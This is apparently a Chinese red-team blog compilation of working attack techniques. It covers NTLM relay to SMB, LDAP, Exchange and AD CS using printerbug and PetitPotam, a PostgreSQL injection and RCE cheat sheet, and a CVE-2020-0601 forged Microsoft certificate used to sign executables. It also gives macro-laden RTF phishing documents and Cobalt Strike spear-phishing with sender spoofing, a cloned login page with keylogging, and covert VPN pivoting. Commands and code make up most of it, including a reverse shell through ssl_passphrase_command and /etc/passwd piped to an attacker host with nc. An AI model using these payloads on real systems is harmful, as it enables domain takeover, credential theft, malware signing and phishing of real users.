1、NTLM hash是指Windows系统下Security Account Manager中保存的用户密码hash。
该hash的生成方法:1
2
3将明文口令转换成十六进制的格式
转换成Unicode格式,即在每个字节之后添加0x00
对Unicode字符串作MD4加密,生成32位的十六进制数字串
2、Net-NTLM hash是指网络环境下NTLM认证中的hash
NTLM认证采用质询/应答(Challenge/Response)的消息交换模式,流程如下:1
2
3
4客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前存储登录用户名和对应的密码hash
服务器接收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。使用存储的登录用户密码hash加密Challenge,获得Challenge1
客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得Challenge2(这个结果被称为response),将response发送给服务器
服务器接收客户端加密后的response,比较Challenge1和response,如果相同,验证成功
在以上流程中,登录用户的密码hash即NTLM hash
,response中包含Net-NTLM hash
,在NTLM认证中,NTLM响应分为NTLM v1,NTLMv2,NTLM session v2三种协议,不同协议使用不同格式的Challenge和加密算法,所以也就存在不同协议的Net-NTLM hash,即Net-NTLM v1 hash,Net-NTLM v2 hash。
NTLM是一个嵌入式协议,消息的传输依赖于使用ntlm的上层协议,比如SMB,LDAP,HTTP等,那ntlm的上层协议是smb的情况下,ntlm_relay就是smb_relay。那如果上层协议是http,我们也可以叫做http_relay,但是都统称ntlm_relay。消息的传输依赖于使用ntlm的上层协议,比如SMB,LDAP,HTTP等,那不管上层协议是啥,ntlm的认证总归是type 1,type 2,type3 。所以我们就不局限于之前提到的smb到smb这种relay,可以在一个协议里面提取ntlm认证信息,放进另外一个协议里面,实现跨协议的relay。
Relay的过程就是一个中间人的过程,详细可以看这个图:
能直接relay到smb服务器,是最直接最有效的方法。可以直接控制该服务器(包括但不限于在远程服务器上执行命令,上传exe到远程命令上执行,dump 服务器的用户hash等等等等)。
主要有两种场景:
1、工作组环境
这个实用性比较差。在工作组环境里面,工作组中的机器之间相互没有信任关系,每台机器的账号密码Hash只是保存在自己的SAM文件中,这个时候Relay到别的机器,除非两台机器的账号密码一样(如果账号密码一样,我为啥不直接pth呢),不然没有别的意义了,这个时候的攻击手段就是将机器reflect回机子本身。因此微软在ms08-068中对smb reflect到smb 做了限制。这个补丁在CVE-2019-1384(Ghost Potato)被绕过。
2、域环境
域环境底下域用户的账号密码Hash保存在域控的 ntds.dit里面。如下没有限制域用户登录到某台机子,那就可以将该域用户Relay到别人的机子,或者是拿到域控的请求,将域控Relay到普通的机子,比如域管运维所在的机子。(为啥不Relay到其他域控,因为域内就域控默认开启smb签名)
smbrelayx.py
ntlmrelayx.py
Exchange的认证也是支持NTLM SSP的。我们可以Relay的Exchange,从而收发邮件,代理等等。
这里可以利用利用工具NtlmRelayToEWS。
Relay到ldap是在域渗透里面,最好用的一个。Relay可以做什么呢?
1、高权限用户
如果NTLM发起用户在以下用户组1
2
3
4
5Enterprise admins
Domain admins
Built-in Administrators
Backup operators
Account operators
那么就可以将任意用户拉进该组,从而使该用户称为高权限用户,比如域管。
2、Write-acl 权限
如果发起者对DS-Replication-GetChanges(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
和 DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
有write-acl
权限,那么就可以在该acl里面添加任意用户,从而使得该用户可以具备dcsync
的权限。
3、普通用户权限
在Server2012R2之后,如果没有以上两个权限。可以通过设置基于资源的约束委派。
在NTLM发起者属性msDS-AllowedToActOnBehalfOfOtherIdentity
里面添加一条ace,可以让任何机器用户和服务用户可以控制该用户(NTLM发起者),在这里可能需要新增一台Computer账号或者控制一台机器。
在Server2016之后,支持属性msDS-KeyCredentialLink
,添加了这个属性以后,就可以利用证书来获取对应主机权限,详细可参考Shadow Credentials。
那如何去触发请求让目标来请求我们的恶意服务呢?
常规方式就是构造一个UNC路径,让我们的目标来访问,如:1
dir \\hostshare\xx
或者发一个邮件,里面包含一个图片,然后带了unc的路径,如:
1 | <img src="\\hostshare\xx"> |
但是这种触发方式比较被动,不确定什么时候会触发,为了更直接有效的利用,可以看主动触发!
多数主动触发需要我们拥有域内成员账号密码。
Exchange作为一个高价值目标,默认情况下,Exchange Windows Permissions
安全组对安装Exchange的域的域对象具有writeDACL
权限,这就意味着,我们可以进行权限的提升。利用Exchange也很有可能直接拿下域控。那如何让Exchange来发起NTLM请求?
CVE-2018-8581:
这个漏洞最早是一个SSRF漏洞。可以访问任意用户的邮件。Exp: CVE-2018-8581。
利用Relay来直接获取指定用户Hash: Exchange2domain。
CVE-2020-17141 /CVE-2020-17143
CVE-2019-1040:这个漏洞其实用了打印机Bug(后面讲),主要是绕过NTLM MIC的防护机制。关于这个漏洞测试,可以用我的脚本CVE-2019-1040。
打印机Bug
一直都说打印机bug,那么打印机bug是什么?
因为这个bug,微软官方认为是正常业务,也不给出补丁。微软的spoolsv.exe注册了一个服务和若干个rpc。允许认证用户远程调用,其中RemoteFindFirstPrinterChangeNotificationEx
这个函数运行传进一个unc
路径,打印机服务就会去请求该unc
路径。由于打印机是以system
权限运行的,所以我们访问打印机rpc,迫使打印机服务向我们发起请求拿到的net-ntlm hash
是机器用户hash
。
利用printerbug.py, 就可以触发打印机bug,让目标机器像我们指定机器进行回连。使用方式为:1
python printerbug.py cgdomain.com/test:'1qaz@WSX'@10.211.55.201 10.211.55.2
当然,在没有Exchange的环境下,如果域级别大于2012r2,我们还可以利用RBCD来攻击目标机器。相关利用在这里CVE-2019-1040-dcpwn。
PetitPotam
在CVE-2021-1675/CVE-2021-34527
出了以后,会有很多打印服务被关闭!那没有打印服务的情况下?怎么办?我们还可以使用EFS!1
加密文件系统(EFS)是微软 Windows 在 NTFS3.0 中引入的一个功能,它提供文件系统级加密。此技术使文件支持透明加密以保护机密数据免受具有物理访问权限的攻击者侵害。EFS从Windows 2000起在所有为商业环境开发的Windows版本中可用.
和之前的printer bug利用类似,EFS的rpc,允许恶意域用户/或机器账号控制其它机器外发认证。
利用:https://github.com/topotam/PetitPotam
Example:1
python Petitpotam.py -u sanfeng -p '1qaz@WSX' -d cgdomain.com 10.211.55.2 10.211.55.202
上面讲了Relay到LDAP是一个常用的攻击方式,但是也存在修复的问题。首先Ldap服务器的默认策略是协商签名。而不是强制签名,也就是说是否签名是有客户端决定的。不像CVE-2018-8581,发起的协议是HTTP协议,通过打印机bug和PetitPotam,发起的请求是smb协议的请求,这也意味着我们客户端默认是要求签名的(CVE-2019-1040就是这里的bypass)。所以如果打了补丁,该怎么玩?
再打了补丁的环境下,如果域环境开启了AD CS,我们就可以利用AD CS进行攻击。1
2
3
4git clone git clone https://github.com/ExAndroidDev/impacket
cd impacket
git switch ntlmrelayx-adcs-attack
python3 -m pip install .
开启Relay1
ntlmrelayx.py -t http://192.168.16.11/certsrv/certfnsh.asp -smb2support --adcs
利用打印机bug或者PetitPotam来触发回连。
之后就可以获取到生成的base64的证书:
为了方便进行ntlmrelay测试,我把常见的几个利用集成到了一起。工具使用可以查看README,工具地址:RelayX。
1、注释1
2--
/**/
2、查询版本1
SELECT version()
3、查询用户1
2
3
4
5SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
4、列用户1
SELECT usename FROM pg_user
5、列举用户hash1
SELECT usename, passwd FROM pg_shadow
6、列出数据库管理员帐户1
SELECT usename FROM pg_user WHERE usesuper IS TRUE
7、列举权限1
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
8、列举当前db名称1
SELECT current_database()
9、列举db1
SELECT datname FROM pg_database
10、列举表名1
SELECT table_name FROM information_schema.tables
11、列举列名1
SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
12、报错注入1
2
3
4
5
6
7
8
9,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
13、xml helper1
select query_to_xml('select * from pg_user',true,true,''); -- 可返回所有结果,可在报错注入中使用,另外query语句是个string就行,可进行拼接等方式进行waf绕过
1 | select database_to_xml(true,true,''); -- dump the current database to XML |
14、盲注1
2' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO
15、延时注入1
2AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
16、堆叠查询
使用;
进行语句分割1
http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--
17、查询机器ip1
2select inet_server_addr();
select inet_client_addr();
对于DB服务器的ip,除了上面的查询,还可以通过读取/proc/net/fib_trie
来获取。
1 | select pg_ls_dir('./'); |
老版本的postgre不支持绝对路径。新版本支持default_role_read_server_files组的用户或者超级用户使用绝对路径进行文件读取。
利用copy进行文件读取:1
2
3
4CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT query_to_xml('SELECT * FROM temp',true,true,'');
DROP TABLE IF EXISTS temp;
利用 large object 进行文件读取1
2
3SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data
获取OID方式1
2
3SELECT loid from pg_largeobject ORDER BY loid desc limit 1 OFFSET 0
select CAST((select loid||$$|$$ FROM pg_largeobject ORDER BY loid desc limit 1 OFFSET 0) as int) --报错注入使用
select CAST((select oid||$$|$$ FROM pg_largeobject_metadata ORDER BY oid desc limit 1 OFFSET 0) as int) --报错注入使用
删除OID1
SELECT lo_unlink(OID) ;
1 | CREATE TABLE pentestlab (t TEXT); |
1 | SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data |
OID可以自己随便指定一个,lo_put 为追加文件。
1、 CVE-2019–9193
可以直连db
或者执行多语句
的时候。
拿回显:1
2
3
4
5DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec; -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
只执行1
COPY (select 1) TO PROGRAM 'id';
2、Using libc.so.61
2CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
3、利用udfsqlmap udf
需要对应postgre版本。
1 | CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; |
4、Using Config file
多语句不能使用的情况下,可利用配置文件进行命令执行。
a、 PG version > 10
参考postgres-sqli,可利用 ssl_passphrase_command
进行RCE。
利用条件为,需要修改配置文件开启SSL1
ssl on
另外,需要私钥配置一个密码,给私钥加密码可以利用openssl:1
openssl rsa -aes256 -in private.key -out private_passphrase.key
利用配置为:1
2
3
4
5ssl = on
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
ssl_key_file = '/var/lib/postgresql/11/main/PG_VERSION'
ssl_passphrase_command_supports_reload = on
ssl_passphrase_command = 'bash -c "test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0"'
其中ssl_cert_file
为证书文件,如果没有,可自己上传到/tmp
路径进行引用,ssl_key_file
为带密码
的私钥文件,由于此文件需要权限为0600
,所以可对PG的PG_VERSION进行覆盖,PG_VERSION路径与配置文件路径相同。ssl_passphrase_command
可修改为要执行的命令,其中echo passphrase
的 passphrase
为私钥设置的密码。
具体操作为,获取pg配置路径:1
select setting from pg_settings where name='config_file'
如果配置文件路径为
etc/postgresql/11/main/postgresql.conf'
, 则要覆盖的PG_VERSION
路径为/var/lib/postgresql/11/main/PG_VERSION
通过文件读取的方式读取配置文件查看是否配置了SSL,如果已配置了证书及key,需要读取其key文件,并对其key文件设置密码,如果未配置,可自己本地生成并通过文件写入的方式进行写入。注意:一定要把原配置文件进行备份!!! 方便攻击完成之后进行恢复!!!1
2
3
4
5
6
7
8
9
10
11简要过程:
1、读取配置文件;
2、如未配置证书文件,则本地生成一个证书文件;
3、给对应证书的秘钥文件添加密码;
4、修改配置文件,添加上面的SSL利用配置;
5、将修改好的证书、秘钥文件写入服务器;
6、将修改的配置文件进行配置文件替换;
7、触发攻击;
触发攻击方式为:
SELECT pg_reload_conf()
8、恢复配置文件。
b、All version
低版本的PG没有ssl_passphrase_command
,查看文档发现可以使用archive_command
,但是要求数据库服务重启!!
利用方式为添加以下配置:1
2
3archive_mode = on
archive_command = "touch /tmp/xxxx"
archive_timeout = 10
其中archive_timeout
表示每十秒执行一次,archive_command 为要执行的命令。
修改配置文件以后,在PG服务重启后,会执行archive_command配置的命令。
另外,利用写文件可以写authorized_keys
, 但是如果没有.ssh
目录的时候,可以利用配置文件进行目录创建(这里需要PG已经开机了LOG功能,否则依然需要重启PG服务)。具体操作为:
修改配置文件,修改log_directory为.ssh
目录。1
2
3
4
5
6
7log_destination = 'csvlog'
log_directory = '/home/postgresql/.ssh/'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
log_rotation_age = '1d'
log_rotation_size = '512MB'
log_timezone = 'Asia/Hong_Kong'
logging_collector = 'on'
替换conf文件并执行:1
SELECT pg_reload_conf()
之后再写入authorized_keys
即可。
c、 All version
利用session_preload_libraries。
首先需要知道服务器端PG的版本,然后根据其版本来编译利用库。利用代码:
exp.c1
2
3
4
5
6
7
8
9
10
PG_MODULE_MAGIC;
void __attribute__((constructor)) pwn(void){
system("touch /tmp/bbbbbbbb");
}
可在对应系统
上下载对应版本
的postgresql-server-dev-x
,然后使用以下命令进行编译:1
gcc exp.c -I `pg_config --includedir-server` -fPIC -shared -o exp.so
之后将exp.so上传至数据库服务器。
修改配置文件添加:1
session_preload_libraries='/tmp/exp.so'
覆盖配置文件,并进行reload。1
SELECT pg_reload_conf()
当有新连接产生时,会触发加载.so达到RCE。
必须保证.so没问题(版本对应),否则会导致db挂掉。
使用CHR1
SELECT CHR(65)||CHR(66)||CHR(67);
使用美元符号1
2SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$
美元符可替换引号。
引用我司大佬总结:
1.基础知识:
ECC私钥+椭圆曲线=ECC公钥
2.漏洞:
微软的私钥+微软选的椭圆曲线=微软根证书里面的公钥
黑客的私钥+黑客选的椭圆曲线=微软根证书里面的公钥
不同的椭圆曲线和不同的私钥,能产生值一模一样的公钥。
win10开始默认添加了微软的ECC根证书,在做证书链验证时,会一直验证到微软根证书里面的公钥的hash值,这个值直接写在了crypt32.dll里面,验证时没有对比是不是同一个椭圆曲线,只对比了公钥值就万事大吉了,导致了黑客拿自己的私钥随便签个名,都以为是微软自己签的。
3.win7受影响吗?
win7没有默认添加微软的ECC根证书,crypt32.dll里面也没这个hash值,没法直接对比通过。
结论:Windows 7不受影响
4.XP、2003受影响吗?
ECC是个什么鬼?
5.我能跑出微软根证书里面的私钥吗?
洗洗睡吧。
首先来看下开源的工具:
这个工具使用了 USERTrust ECC Certification Authority
的证书来进行验证。
参照这款工具生成证书,并对exe进行签名,查看签名信息如下:
由于不存在根证书,所以会看到验证并没有通过,访问网站:
https://usertrustecccertificationauthority-ev.comodoca.com/
会在系统安装根证书,这样就会让签名正常。
如果要不安装别的证书让签名正常就需要寻找系统默认信任的ECC签名的根证书。
首先,我们来查看一下默认有哪些根证书:1
dir cert:\localmachine\root | Where-Object { $_.FriendlyName -like "*ECC*" }
可以看到这里面有3个系统默认的ECC签名的根证书。我们随意导出其中一个根证书:
cmd输入certmgr.msc打开证书管理,找到ECC签名根证书进行导出:
导出直接选择Base64编码那个就行。
使用openssl查看证书信息:1
openssl x509 -in ca.cer -text -noout
查看gen-key.py
及README,这里我们需要提取证书的公钥 Public Key 和序列号Serial Number 以及Subject。
为了方便提取,可以使用powershell,这样就把所需要的内容提取出来了1
dir cert:\localmachine\root | Where-Object { $_.FriendlyName -like "*ECC*" } | %{[bitconverter]::tostring($_.publickey.encodedkeyvalue.rawdata).replace('-','');$_.SerialNumber;$_.subject;"="*200}
我们随意选择一个,比如:1
04C711162A761D568EBEB96265D4C3CEB4F0C330EC8F6DD76E39BCC849ABABB8E34378D581065DEFC77D9FCED6B39075DE0CB090DE23BAC8D13E67E019A91B86311E5F342DEE17FD15FB7E278A32A1EAC98FC97E18CB2F3B2C487A7DA6F40107AC14982666DC7CCD8F4053677BB999EC85CN=Microsoft ECC Product Root Certificate Authority 2018, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
参照POC里面的README来进行生成:
生成key模版:1
openssl ecparam -name secp384r1 -genkey -noout -out p384-key.pem -param_enc explicit
替换gen-key.py
里面的公钥字符串。生成对应的私钥:1
python gen-key.py
使用获取的序列号和subj生成假冒的CA1
openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -set_serial 0x14982666DC7CCD8F4053677BB999EC85 -subj "/C=US/ST=Washington/L=Redmond/O=Microsoft Cor poratio/CN=Microsoft ECC TS Root Certificate Authority 2018"
接下来,就可以生成私钥和证书,在这里需要替换一下项目里面的openssl.cnf
为以下内容:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33[ req ]
default_bits = 2048 # RSA key size
encrypt_key = yes # Protect private key
default_md = sha1 # MD to use
utf8 = yes # Input is UTF-8
string_mask = utf8only # Emit UTF-8 strings
prompt = yes # Prompt for DN
distinguished_name = codesign_dn # DN template
req_extensions = codesign_reqext # Desired extensions
[ codesign_dn ]
countryName = "1. Country Name (2 letters) (eg, DK) "
countryName_max = 2
stateOrProvinceName = "2. State or Province Name (eg, Denmark) "
localityName = "3. Locality Name (eg, Copenhagen) "
organizationName = "4. Organization Name (eg, ollypwn) "
organizationalUnitName = "5. Organizational Unit Name (eg, ollypwn) "
commonName = "6. Common Name (eg, Olly Pwn)"
commonName_max = 64
[ codesign_reqext ]
basicConstraints = CA:FALSE
keyUsage = critical,digitalSignature
extendedKeyUsage = critical,codeSigning
subjectKeyIdentifier = hash
[ usr_cert ]
basicConstraints = CA:FALSE
keyUsage = digitalSignature
extendedKeyUsage = codeSigning
[ v3_req ]
keyUsage = critical,digitalSignature
extendedKeyUsage = critical,codeSigning
生成:1
2
3
4
5openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem
openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr -subj "/C=US/ST=Washington/L=Redmond/O=Microsoft Cor poration/CN=Microsoft ECC TS Root Certificate Authority 2018"
openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf
将证书转换为pkcs12:1
openssl pkcs12 -export -in client-cert.pem -inkey prime256v1-privkey.pem -certfile ca-rogue.pem -out cert.p12
使用osslsigncode或者signtool签名:
1 | osslsigncode sign -pkcs12 ./cert.p12 -t http://timestamp.verisign.com/scripts/timstamp.dll -in putty.exe -out putty_signed.exe |
如果转换为pkcs12时添加了密码,签名的时候需要指定:1
osslsigncode sign -pkcs12 ./cert.p12 -t http://timestamp.verisign.com/scripts/timstamp.dll -in putty.exe -out putty_signed.exe -pass 123123
将签名好的EXE放到未打补丁的Win10 上面查看签名信息:
HTTPS劫持需要中间人,另外需要生成所需要的证书文件,生成方法可参考项目:
结果如下图:
关于此漏洞,签名的二进制文件的免杀效果一般,但是结合中间人钓鱼还是很棒的。建议小伙伴们尽快升级系统。
]]>从walmartlabs学来的,让宏多弹几次,提高成功率。
1、 创建一个包含宏的Excel,让这个Excel在开启宏的状态下,打开可以执行,保存为(xls 或者 xlsm )比如添加以下宏:1
Private Sub Workbook_Open() DebuggingEnd SubPublic Function Debugging() As Variant Dim Str As String Str = "calc.exe" Const HIDDEN_WINDOW = 0 strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set objStartup = objWMIService.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ objConfig.ShowWindow = HIDDEN_WINDOW Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process") objProcess.Create Str, Null, objConfig, intProcessIDEnd Function
2、创建一个word文档,再插入处选择插入对象,然后选择插入对象->由文件创建->选择刚刚创建好的包含宏代码的Excel (不要点
链接到文件和显示为图标!),想弹几次,就插几次。🤔
3、使用快捷键隐藏插入的对象,快捷键为”Ctrl+Shift+H”
4、将word文档另存为RTF
格式
5、编辑RTF文档,修改\objemb
为\objupdate\objemb
, 之后将rtf修改为doc。
1-3、同上
4、将word文档另存为.docx
格式,关闭再重新打开docx
5、将新的docx格式文件另存为rtf
格式,之后修改rtf为doc。
1、使用Excel 4.0 宏创建包含宏的Excel文件。
2-5、同上
关于Spear phish 和发件人伪造的工具有很多个,比如gophish、SimpleEmailSpoofer、命令行工具swaks等,每个工具都有其特点,当然Cobalt Strike也有此功能。官方介绍戳我。今天主要来介绍一下CS里面的此功能怎么使用。
CS的Spear Phish位置在:
一张图说明功能:
使用此功能的前提是需要有一个smtp服务器来供我们来转发邮件,当然可以使用公共smtp服务,另外也可以参考《Something about email spoofing》 中提到的方法来搭建。
这里的使用很简单,首先构造目标列表,使用:1
2mail name
mail name
中间的分隔符为[tab],可以不添加name
添加好以后就是这个样子:
下面,要配置发件模板,这里配置很简单,只需要复制一份原始邮件即可,比如一份密码重置邮件:
选择显示原始邮件,并将其内容保存。
在这里如果要伪造发件人,需要修改From:
否则就不需要做什么别的修改。之后,配置对应的Mail server
,就可以进行发送邮件了,这里需要注意一点,为了绕过SPF的检查,Bunce to
需设置为与Mail server
同域,如Mail server
为 mail.evi1cg.me
,Bunce to
可设置为`admin@evi1cg.me`。
之后点击Send
则可发送邮件,收到的邮件与模板一致。
另外查看SRF为PASS
状态:
另外,CS也有发送附件的功能,但是原版本的CS发送附件有一个Bug,即如果附件为中文名称,则会在最后的邮件中显示乱码附件:
所以在这里我们需要对CS动刀了,经过调试,成功定位到mail\Eater.java
,需要对此类中的createAttachment
方法进行修改:1
2
3
4
5
6
7
8
9
10
11
12
13
14private BodyPart createAttachment(String name) throws IOException {
File file = new File(name);
String namez = file.getName();
String filename = new String(namez.getBytes("utf-8"),"ISO8859-1");
Body body = (new StorageBodyFactory()).binaryBody((InputStream)(new FileInputStream(name)));
Map temp = new HashMap();
temp.put("name", filename);
BodyPart bodyPart = new BodyPart();
bodyPart.setBody(body, "application/octet-stream", temp);
bodyPart.setContentTransferEncoding("base64");
bodyPart.setContentDisposition("attachment");
bodyPart.setFilename(filename);
return bodyPart;
}
这样就可以解决附件乱码问题了:
另外在这里还有一个与Web Clone结合的地方,首先,我们先Clone一个需登录的网站,如网易邮箱:
这里可以选择开启键盘记录功能。
开启Clone:
设置spear phish:
Embed URL选择刚刚克隆的url,发送邮件,此时用户点击重置按钮,则会跳转到Clone的站点:
此时,用户输入会被记录:
emmm. 大概就介绍这么多吧。
]]>在 mysql => 5 的版本中存在库information_schema
,记录着mysql中所有表的结构,通常,在mysql sqli中,我们会通过此库中的表去获取其他表的结构,即表名,列名等。但是这个库也会经常被WAF过滤。当我们通过暴力破解获取到表名后,该如何进行下一步利用呢?
在information_schema中,除了SCHEMATA,TABLES,COLUMNS有表信息外,高版本的mysql中,还有INNODB_TABLES及INNODB_COLUMNS中记录着表结构。
正常的查询如下:
其中,列名为id
,name
,pass
,mail
,phone
,使用union查询1
select 1,2,3,4,5 union select * from users;
接着,就可以继续使用数字来对应列,如3对应了表里面的pass:1
select `3` from (select 1,2,3,4,5 union select * from users)a;
当 ` 不能使用的时候,使用别名来代替:1
select b from (select 1,2,3 as b,4,5 union select * from users)a;
在注入中查询多个列:1
select concat(`2`,0x3a,`3`) from (select 1,2,3,4,5 union select * from users)a limit 1,1;
最近在学习Exchange在提权中的应用的时候,碰到一个问题,即:如果我们现在拥有了一个内网的windows主机,如何利用这台主机使用CVE_2018_8581 ?大概的结构是这样:
攻击者通过某种方式获取一台域内主机权限。并获取了此主机的域成员账号密码,在获取DC及Exchange Server的ip地址后,利用CVE_2018_8581
在做这个的时候,第一想法就是有没有windows下可用的impacket,后来找了找,还真有impacket_static_binaries,于是就拿来用了。但是后来发现是有问题的。首先,利用需要关闭win的445端口,这个就需要重启,这是我们非常不愿意做的,另外,似乎win版的ntlmrelayx
和 smbrelayx
还不能用。
所以直接放弃了。
这个思路是之前看到的《Remote NTLM relaying through meterpreter on Windows port 445》来的。在这篇文章里面,详细分析了是谁占用了445,如何进行转发再进行Remote NTLM relaying。利用CVE_2018_8581
,我们需要两个端口,445
和80
(80可以是其他端口,用来开启HTTP服务),但是实际测试的时候,并不顺利,成功添加路由,开启端口转发,开启 socks4a 之后,本地通过proxychains开启一个web server,在内网其他主机请求这个server的时候,并未看到任何请求(可能是姿势不对,成功的师傅还望不吝赐教)。所以通过此方式,也并没达到我期望的效果。
这个也是我觉得最简单的一种方式,在上面两种思路失败之后,就只能期待试用这种方式来进行了,还好,成功啦~
Cobaltstrike 的covertvpn的介绍,可以看这里。
在获取到一个Becon之后,右键连接->Pivoting->Deploy VPN
之后,选择对应的内网ip
点击ADD来添加本地网口:
在这里有多种方式的隧道,可以根据自己的需要选择,默认UDP是开销最小的一种方式。添加以后,点击Deploy则可部署成功。
之后,在Interfaces
中可以看到对应信息:
之后我们在VPS上配置此网口:1
sudo ifconfig Interface CIDR
example:1
sudo ifconfig phear5 10.211.55.225/24
前面的ip地址就是要给我们的网口配置的ip地址,相当于在域里面新接入了一台主机
之后,就可以与内网主机进行通信了。
这种方式我录了一个Demo:
Tips:部署VPN只需要普通用户权限即可。但是获取当前用户账号密码需要提权。
删除域内某用户的DCSync
权限,可使用 PowerView。
具体命令为:1
Remove-DomainObjectAcl -TargetIdentity "DC=cgdomain,DC=com" -PrincipalIdentity user -Rights DCSync
根据自己的实际环境进行修改
修复Exchage权限,可使用 Fix-DomainObjectDACL.ps1
具体命令为:
1 | . .\Fix-DomainObjectDACL.ps1 -Fix |
经过进一步测试以及对漏洞的原理再次学习,发现其实我们只需要开启一个web服务即可,所以,可以使用任意端口(在impacket中,HTTPRelayServer默认端口为80,Exchange2domain已支持自定义端口)。
当然,上述 思路三 对smbrelay也是非常好用的一种方式。现在补充一下 思路二 的具体利用方法。
由于我们不需要smb Server,所以也不需要向《Remote NTLM relaying through meterpreter on Windows port 445》中所述对445端口进行转发,我们只需要将web端口转发出来即可。在获取一个meterpreter会话之后,添加路由:1
meterpreter > run post/multi/manage/autoroute
之后开启socks4a
代理。
经过测试,发现msf的portfwd
不怎么稳定,所以我选择了使用ew
,当然,也可以使用lcx等其他转发工具。
在vps上开启转发:1
☁ lcx ./ew -s lcx_tran -l 8088 -f 127.0.0.1 -g 8044
监听本地8088端口,并将数据转发到127.0.0.1的8044端口
然后在我们有权限的主机上执行:1
C:\Users\sanfeng\Desktop>ew_for_Win.exe -s lcx_tran -l 8044 -f 103.*.*.* -g 8088
监听本地8044端口的数据,并将数据转发到103...*的8080端口。
需要注意的是,有权限的主机监听端口=vps转发端口=Exchange2domain监听端口
之后,在vps上配置proxychains,ubuntu上proxychains的配置文件路径为/etc/proxychains.conf
。修改代理配置文件,如下:1
2
3
4
5[ProxyList]
socks4 127.0.0.1 1080
之后,我们就可一执行Exchange2domain了:1
proxychains python Exchange2domain.py -ah proxyip -ap 8044 -u user -p password -d domain -th DCIP ExchangeIP --just-dc-user krbtgt
注意监听端口跟上面一致,proxyip为我们有权限的主机的ip地址。
所以,整个攻击过程如下:
希望以上对你有帮助。
DC : 10.211.55.200
Exchange (2013): 10.211.55.201
Attacker: 10.211.55.2
得到某域用户;
与Exchange服务器可互通,不需要入域;
https://github.com/Ridter/Exchange2domain
获取需要的参数:-ah
: 自己的监听服务器ip
-u
: 可登录邮箱的用户名
-p
:对应该用户的密码
-d
: 域名-th
:域控ip地址
还有就是Exchange服务器地址,默认使用Exchange的版本号为Exchange2013,其他版本可使用--exchange-version
来指定。
Example:1
python Exchange2domain.py -ah 10.211.55.2 -u sanfeng -p 1qaz@WSX -d cgdomain.com -th 10.211.55.200 10.211.55.201
获取到hash以后,可通过pash-the-hash来执行命令:
DC : 192.168.31.129
Exchange (2013): 192.168.31.129
Attacker: 192.168.31.243
得到用户: beiguoxia
与Exchange服务器可互通,不需要入域。
https://github.com/WyAtu/CVE-2018-8581/
获取本机地址:
修改脚本内容:
ip为Exchange服务器的ip地址,其他的改成对应的信息,FLAG改为1,增加权限委托。
Exploit:1
python CVE-2018-8581.py
添加成功以后,打开outlook客户端。使用已经获取的邮箱账号(此处为beiguoxia)登录。
依次选择偏好设置-账户-高级-代理
